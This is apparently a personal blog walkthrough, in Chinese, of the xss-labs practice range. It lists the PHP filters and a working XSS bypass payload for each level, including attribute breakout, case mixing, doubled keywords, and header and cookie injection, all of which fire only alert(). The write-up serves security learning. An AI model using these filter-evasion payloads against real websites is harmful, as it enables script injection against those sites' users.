xss靶场
前些时间把xss-labs的靶场练习了一下,其实如果想练习靶场的话,可以是从xss先开始的,sqli练习的我还停留在第四关。xss总共20关,还是好理解一点的,下面是我的一些理解。
基本流程:
先输入一个payload,然后查看网页源码,先猜想一下,再去查看原php文件,验证猜想或者找到解题的关键。
提供一个直接查看源码的快捷方式:ctrl+U,
或者直接在网址前面输入view-source: (一样的意思)我个人还是喜欢直接按ctrl+U的方式,比较方便。
level 1
可以先查看第一关的源码,发现直接将值传递过去了
在level1.php中:
1 | $str = $_GET["name"]; |
直接将键盘的值传送给了后台
payload:
1 | <script>alert('xss')</script> |
level 2
尝试:
1 | <script>alert('xss')</script> |
发现没有成功,查看一下源码:

<和>都被编码成了html字符实体。
在level2.php中:
1 | echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> |
htmlspecialchars()函数对变量str进行处理之后显示到网页上。(即将<和>都被编码成了html字符实体)但value中并没有使用。
payload:
1 | "><script>alert('xss')</script>// |
闭合前面的,注释后面的。
level 3
尝试:
1 | <script>alert('xss')</script> |
发现没有成功,查看一下源码:

在level3.php中:
1 | echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> |
两处都使用了htmlspecialchars()函数,就不能使用带有<或>
payload:
1 | 'onfocus=javascript:alert('xss')// |
在使用之后,当使用鼠标点击该输入框时输入框被选中可以。
level 4
尝试:
1 | <script>alert('xss')</script> |
发现没有成功,查看一下源码:

在level4.php中:
1 | $str2=str_replace(">","",$str); #将变量中的>删除 |
不能使用带有<或>,还是可以使用第三关的题解。
payload:
1 | 'onfocus=javascript:alert('xss')// |
在使用之后,当使用鼠标点击该输入框时输入框被选中可以。
level 5
尝试1:
1 | <script>alert('xss')</script> |
发现没有成功,查看一下源码:

尝试2
1 | onfocus=javascript:alert('xss') |
发现也未成功,查看一下源码:

在level5.php中:
1 | $str = strtolower($_GET["keyword"]); #将值进行全小写的转换,然后赋值给str变量。 |
通过str_replace()函数来破坏变量值中的敏感字符的语义。
不能用带有script和on的payload
payload:
1 | "><a href=javascript:alert('xss')>xss</a>// |
level 6
尝试1
1 | <script>alert('xss')</script> |
尝试2
1 | onfocus=javascript:alert('xss') |
尝试3
1 | <a href=javascript:alert('xss')>xss</a> |
查看源码,错误原因和level 5一样
在level6.php中:
1 | $str2=str_replace("<script","<scr_ipt",$str); |
不能使用以上字符,但没转化成小写,因此可以利用大小写混写来绕过
payload:
1 | "><a HrEf=javascript:alert('xss')>xss</a>// |
其他的大小写混写一样也可以
level 7
尝试:
1 | <script>alert('xss')</script> |
查看网页源码:

尝试其他的语句,也是出现这种情况
在level7.php中:
1 | $str =strtolower( $_GET["keyword"]); #将参数值转换成小写 |
此时可使用双写关键字,
payload:
1 | "oonnfocus=javascriscriptpt:alert(‘xss’)// |
其实就是只要关键字”on” “script”等包含在那个里面,它删掉一个之后,还会保留一个,就可以实现绕过
level 8
尝试1:
1 | <script>alert('xss')</script> |
网页源码为:

尝试2:
1 | javascript:alert(‘xss’) |
查看网页源码发现破坏了语义:

在level8.php中:
1 | $str = strtolower($_GET["keyword"]); #将参数值转换成小写 |
payload:
将unicode编码转换成ASCII码,即将javascript:alert(‘xss’)转换成ASCII码即可
level 9
尝试:
1 | <script>alert('xss')</script> |
查看网页源代码,推测要按照他的某个格式来

在leve9.php中:
1 | if(false===strpos($str7,'http://')) #判断如果字符中没有http://的话就会返回false, |
payload:
跟level 8差不多,先将unicode编码转换成ASCII码,即将javascript:alert(‘xss’)转换成ASCII码,再在后面加一个真正的网址,如//http://www.baidu.com
level 10
尝试:
1 | <script>alert('xss')</script> |
查看源代码,发现有三个隐藏的表单

分别测试,发现只有t-sort可以写进值(在f12下调试,将表单的type=”hidden”改成type=”text”,再给value取值)
payload:
方法一:
1 | ?keyword=<script>alert(‘xss’)</script>&t_sort="type="text" onclick="alert('xss') |
前面的keyword的值不重要,后面的t_sort等于后面的”是闭合value的”
方法二:
在控制台中,将值直接添加在其中:

level 11
尝试:
1 | <script>alert('xss')</script> |
查看源代码,发现有四个隐藏的表单:

和level10差不多,原来t_sort仍然是接受参数值的,但是里面的双引号加了htmlspecialchars()函数被编码了。
在leve11.php中:
1 | $str11=$_SERVER['HTTP_REFERER']; #在服务器端将请求头中的referer头的值赋给了str11这个变量 |
那么就可以利用这个请求头来绕过。
payload:
方法一:
用burp进行抓包,发现没有referer这个请求头,可以加上,然后发现我们添加的referer头的值出现在了t_ref标签的value属性值中了。
所以可以直接构造:
1 | referer:"type="text" onclick="alert(‘xss’) |

添加完成之后,点击发送即可。
方法二:
在控制台中,将值直接添加在其中:

level 12
尝试:
1 | <script>alert('xss')</script> |
查看源代码,发现有四个隐藏的表单:

和level11差不多,在level 12中:
1 | $str11=$_SERVER['HTTP_USER_AGENT']; #将请求中User-Agent头的值赋给了变量str11 |
可以利用这个请求头来绕过。
payload:
方法一:
用burp进行抓包,发现我们添加的User-Agent头的值出现在了t_ua标签的value属性值中了。
所以可以直接构造:
1 | User-Agent:"type="text" onclick="alert(‘xss’) |

方法二:
在控制台中,将值直接添加在其中:

level 13
尝试:
1 | <script>alert('xss')</script> |
查看源代码,发现有四个隐藏的表单:

和level12差不多,在level 13中:
1 | $str11=$_COOKIE["user"]; #将请求中cookie的值赋给了变量str11 |
利用cookie来绕过。
payload:
方法一:
用burp进行抓包,发现我们添加的cookie的值出现在了t_cook标签的value属性值中了。
所以可以直接构造:
1 | Cookie: user="type="text" onclick="alert(‘xss’) |

方法二:
在控制台中,将值直接添加在其中

level 14
本关因iframe调用的文件地址失效,无法进行测试。
level 15
在level15.php中:
1 | <script src="angular.min.js"></script> |
我们提交的参数src的值被插入到了标签的class属性值中,但是前面还有ng-include这样的字符。
ng-include是angular js中的东西,ng-include指令用于包含外部的HTML文件。
payload:
1 | src='level1.php?name=<img src=1 onerror=alert(1)>' |
或者
1 | src='level1.php?name=<img src=1 onerror=alert(/xss/)>' |
在img标签中,当src指向一个不明确的地址时,会执行onerror的语句。
level 16
在level16.php中:
1 | $str = strtolower($_GET["keyword"]); |
说明不能使用大小写绕过,将”script”,” “,”/“替换成了 
payload:
使用一个不需要闭合的标签,且可以用回车(回车用%a来表示)来将它们分开,构造语句:
1 | <img%0asrc=1%0aonerror=alert(‘xss’)> |
level17
level17到level20因为一些浏览器的原因,无法显示图片
但其原理如下:
payload:
1 | ?arg01= onmousemove&arg02=javascript:alert(/xss/) |
或者
1 | ?arg01=a&arg02= onmousemove="alert(/xss/)" |
或者
1 | ?arg01= onclick&arg02=alert('xss') |
输完之后,点击图片,触发鼠标,即可绕过。
注意:以上每一种方法的空格都很重要!!!
或者将a标签的href更改为如下内容,利用javascript伪协议
1 | <a href="javascript:alert(‘xss’)"> |
level 18
与level17同理
level 19-level20
这两关与之前的很相似,只是在于输入的onmouseover事件会被当作普通文本,而双引号又被过滤因此也不能闭合进行绕过,可以F12手动加onmouseover事件通关。